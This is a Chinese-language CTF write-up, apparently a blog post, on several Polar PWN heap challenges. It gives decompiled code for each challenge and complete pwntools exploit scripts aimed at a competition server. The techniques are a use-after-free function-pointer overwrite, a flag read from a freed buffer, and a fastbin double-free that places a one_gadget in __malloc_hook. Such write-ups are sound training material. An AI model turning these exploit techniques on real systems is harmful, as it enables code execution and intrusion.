Polar PWN (4)

like_it

cpp 复制代码
unsigned __int64 def()
{
  const char *after_split; // [rsp+18h] [rbp-78h]
  char input[104]; // [rsp+20h] [rbp-70h] BYREF
  unsigned __int64 v3; // [rsp+88h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  puts("Hi! What do you like?");
  read(0, input, 0x64u);
  if ( strtok(input, ",") )
  {
    after_split = strtok(0, ".");
    if ( after_split )
    {
      if ( strcmp(after_split, "everyone") && (unsigned int)ptrace(PTRACE_TRACEME) == -1 )
        exit(2);
    }
    else if ( (unsigned int)ptrace(PTRACE_TRACEME) == -1 )
    {
      exit(2);
    }
  }
  else if ( (unsigned int)ptrace(PTRACE_TRACEME) == -1 )
  {
    exit(2);
  }
  return __readfsqword(0x28u) ^ v3;
}

这是刚开始就调用的函数,大概意思是不让进行调试,且输入字符串分割之后得等于everyone

add函数:

delete函数发现明显漏洞,show函数有一个可能能实现调用堆快内函数的漏洞。代码附在下面:

cpp 复制代码
unsigned __int64 del_note()
{
  int index_1; // [rsp+Ch] [rbp-14h]
  char index[8]; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  printf("Index :");
  read(0, index, 4u);
  index_1 = atoi(index);
  if ( index_1 < 0 || index_1 >= count )
  {
    puts("Out of bound!");
    _exit(0);
  }
  if ( *(&notelist + index_1) )
  {
    free(*(*(&notelist + index_1) + 1));
    free(*(&notelist + index_1));
    puts("Success");
  }
  return __readfsqword(0x28u) ^ v3;
}
unsigned __int64 print_note()
{
  int count; // [rsp+Ch] [rbp-14h]
  char buf[8]; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  printf("Index :");
  read(0, buf, 4u);
  count = atoi(buf);
  if ( count < 0 || count >= count )
  {
    puts("Out of bound!");
    _exit(0);
  }
  if ( *(&notelist + count) )
    (**(&notelist + count))(*(&notelist + count));
  return __readfsqword(0x28u) ^ v3;
}

其实我们的思路很简单,就是想办法输入恶意数据塞进程序刚开始自动申请的一个chunk0处

这就用到了UAF,程序显式给了UAF,就看怎么用。没有能直接利用的指针悬挂,那就想办法看看能不能直接申请一个chunk覆盖一下对应地址的内容,因为show函数的参数也是我们输入,输入之后对应地方的指针还在,我们想办法修改对应指针位置的内容,这个题目只能用add改,那就联想到了bin的管理机制,关键点在free之前的指针和重新add的指针指向的位置一样。

由于fastbin特性,申请chunk的时候会先从fastbin找,我们申请一个大小合适的chunk,假如能刚好申请到刚开始的那一个被赋值为函数地址的chunk,不就可篡改它的数据了吗。

注意这里有空指针校验(见上面的add函数注释)所以用俩add绕过之。

exp:

python 复制代码
from pwn import *
p =remote("1.95.36.136",2117)
context(arch="amd64",log_level="debug",os="linux")
system=0x0400CB1
def add(index,size,content):
    p.recvuntil(b"Your choice :")
    p.sendline(b"1")
    p.sendafter(b"Note size :",str(size).encode())
    p.sendafter(b"Content :",content)
    print(index)
def delete(index):
    p.recvuntil(b"Your choice :")
    p.sendline(b"2")
    p.sendafter(b"Index :",str(index).encode())
def show(index):
    p.recvuntil(b"Your choice :")
    p.sendline(b"3")
    p.sendafter(b"Index :",str(index).encode())
p.send(b"hello,everyone.")
add(0,0x10,b"aaaa")
add(1,0x30,b"aaaa")
add(2,0x30,b"aaaa")
delete(0)
delete(1)
add(0,0x10,p64(system))
show(0)
p.interactive()

这道题收获:对于bin的管理机制,之前都是纸上谈兵,运用之后才明白其中道理。

ezuaf

先找UAF,不然没法操作,虽然程序有readfile函数却不可打印出flag

经过查找主要是下面这个函数:

cpp 复制代码
__int64 __fastcall read_file(char *p_fileInfo)
{
  unsigned int st_size; // [rsp+1Ch] [rbp-B4h]
  FILE *stream; // [rsp+20h] [rbp-B0h]
  struct stat stat_buf_; // [rsp+30h] [rbp-A0h] BYREF
  unsigned __int64 v5; // [rsp+C8h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  stream = fopen(p_fileInfo, "rb");
  if ( stream )
  {
    stat(p_fileInfo, &stat_buf_);
    st_size = stat_buf_.st_size;
    buffer = malloc(SLODWORD(stat_buf_.st_size));
    if ( buffer )
    {
      if ( st_size == fread(buffer, 1uLL, (int)st_size, stream) )
      {
        fclose(stream);
        free(buffer);
        return st_size;
      }
      else
      {
        perror("读取文件失败");
        free(buffer);
        fclose(stream);
        return 1LL;
      }
    }
    else
    {
      perror("内存分配失败");
      fclose(stream);
      return 1LL;
    }
  }
  else
  {
    perror("无法打开文件");
    return 1LL;
  }
}

大概意思是有一个buffer,存储读取的内容,然后会进行一波free操作,却没有给buffer置空

找到了UAF,看看怎么用

我们知道buffer里面是flag内容,那么直接prinef打印可以吗?试一下。想让printf的参数地址是buffer,我们为啥不能利用上一题的思路,利用bin的管理机制?

这道题需要改libc版本调试看chunk大小,这里推荐看https://zach0ry-zzh.github.io/大佬博客修改

总之,动调结果如下:

那我们申请一个0x230的堆快,就又申请回来了,而且这里有一个free' chunk,不用担心合并问题

exp:

python 复制代码
from pwn import *
p =remote("1.95.36.136",2096,timeout=10)
context.log_level="debug"
buffer=0x6020F0
p.recvuntil(b"[+] 3.Print")
p.sendline(b"1")
p.recvuntil(b"[+] Input FileName : ",timeout=5)
p.sendline(b"/flag")
p.recvuntil(b"\n", timeout=5) 
p.sendline(b"2")
p.recvuntil(b"[+] Input Size : ",timeout=5)
p.sendline(b"32")
p.sendline(b"2")
p.recvuntil(b"[+] Input Size : ",timeout=5)
p.sendline(b"560")
p.sendline(b"3")
p.interactive()

来堆签个到

先说一下,需要用patchelf工具更改一下libc.so.6,而且改为libc-2.23版本!

看一下保护,基本上什么也没开

程序是经典菜单题且具有uaf

题目给了libc.so文件,看来我们可考虑泄露一下地址,然后用Onegadget打

首先我们泄露地址需要借助unsort bin,然后show即可

和栈泄露一样的思路,fd指的位置是mainarea某个地方,减去vmmap的so基址就是一个固定偏移,我们获得这个偏移就可泄露基址

这是泄露:

然后我们需要劫持malloc hook,这里面写上ONE_Gadget的值即可

这里我们需要利用UAF,伪造一下fast bin的fd指针,让他指向malloc hook,才能在malloc hook写入恶意代码

这里修改fd就需要伪造chunk.调试发现这里刚好有 fd必须指向同一个bins,这里bins是0x70,所以符合要求

这里0x23是反复动调得来的!

这里说一下填充字节的规则,如图所示,想要刚好覆盖malloc_hook就得先塞红框部分的字节数字

现在就可以美美写入one_gadget。

终于成功,心塞心累!

python 复制代码
from pwn import *

p = remote("1.95.36.136",2144)
# p=process("./pwn")
libc=ELF("libc.so.6")
context.log_level="debug"
context.arch = "amd64"

def add(index,size):
    p.recvuntil(b"choice:")
    p.sendline(b"1")
    p.recvuntil(b"index:")
    p.sendline(str(index).encode()) 
    p.recvuntil(b"size:")
    p.sendline(str(size).encode())

def free(index):
    p.recvuntil(b"choice:")
    p.sendline(b"2")
    p.recvuntil(b"index:")
    p.sendline(str(index).encode())

def edit(index,len,content):
    p.recvuntil(b"choice:")
    p.sendline(b"3")
    p.recvuntil(b"index:")
    p.sendline(str(index).encode())
    p.recvuntil(b"length:")
    p.sendline(str(len).encode())
    p.recvuntil(b"content:")
    p.send(content) 

def show(index):
    p.recvuntil(b"choice:")
    p.sendline(b"4")
    p.recvuntil(b"index:")
    p.sendline(str(index).encode())

add(0,0x230)
add(1,0x20)
free(0)
show(0)
p.recvline()
libc_leak=u64(p.recv(6).ljust(8,b"\x00"))
libc_base=libc_leak - 0x3c4b78  
info("libc base:"+hex(libc_base))

add(2,0x68)   
add(3,0x68)   
free(2)       
free(3)       
free(2)       


malloc_hook=libc.sym["__malloc_hook"] + libc_base
target = malloc_hook - 0x23  
add(0,0x68)                  
edit(0,8,p64(target))        
add(0,0x68)  
add(0,0x68)  
add(0,0x68)  


gadget=[0x4527a,0xf03a4,0xf1247]  

payload = b"\x00"*0x13 + p64(libc_base + gadget[1])
edit(0, len(payload), payload)

add(5, 123)

p.interactive()

easy_exit(未完成)

cpp 复制代码
int __fastcall main(int argc, const char **argv, const char **envp)
{
  int choice; // [rsp+14h] [rbp-1Ch] BYREF
  int size; // [rsp+18h] [rbp-18h] BYREF
  int chunk_num; // [rsp+1Ch] [rbp-14h]
  void *chunk; // [rsp+20h] [rbp-10h]
  unsigned __int64 v8; // [rsp+28h] [rbp-8h]

  v8 = __readfsqword(0x28u);
  setbuf(stdout, 0LL);
  setbuf(stdin, 0LL);
  setbuf(stderr, 0LL);
  alarm(0);
  puts("1.malloc");
  puts("2.edit");
  puts("3.dump");
  puts("4.just malloc");
  puts("5.exit");
  choice = 0;
  size = 0;
  chunk_num = 0;
  while ( 1 )
  {
    puts("choice: ");
    _isoc99_scanf("%d", &choice);
    getchar();
    switch ( choice )
    {
      case 1:                                   // add
        if ( chunk_num == 2 )
        {
          puts("you don't need it anymore");
        }
        else
        {
          puts("size:");
          _isoc99_scanf("%d", &size);
          getchar();
          if ( size > 4096 )
            size = 4096;
          chunk = malloc(size);
          ++chunk_num;
        }
        break;
      case 2:                                   // edit
        puts("input");
        read(0, chunk, 0x1000uLL);
        break;
      case 3:                                   // dump
        puts("output");
        puts((const char *)chunk);
        break;
      case 4:
        malloc(0x1000uLL);
        break;
      case 5:
        puts("exit");
        exit(0);
      default:
        puts("gift");
        puts((const char *)chunk);
        break;
    }
  }
}

看到竟然没有free函数,但是明显存在堆溢出。然后题目也给了libc.so文件

相关推荐
今儿敲了吗2 小时前
51| 数独
算法·深度优先·图论
桌面运维家2 小时前
虚拟化服务器备份恢复:快速切换方案详解
运维·服务器
半瓶榴莲奶^_^2 小时前
优先级队列(堆)
java·数据结构·算法
小樱花的樱花2 小时前
C++引用:高效编程的技巧
开发语言·数据结构·c++·算法
Yupureki2 小时前
《算法竞赛从入门到国奖》算法基础:动态规划-最长子序列
c语言·c++·算法·动态规划
沉鱼.442 小时前
进制转换题
开发语言·c++·算法
罗湖老棍子2 小时前
维护序列(信息学奥赛一本通- P1551)(洛谷-P2023)
算法·线段树·区间修改区间查询·多重懒标记
Boop_wu3 小时前
[Java 算法] 归并排序
数据结构·算法·排序算法
今儿敲了吗3 小时前
49| 枚举排列
数据结构·c++·笔记·学习·算法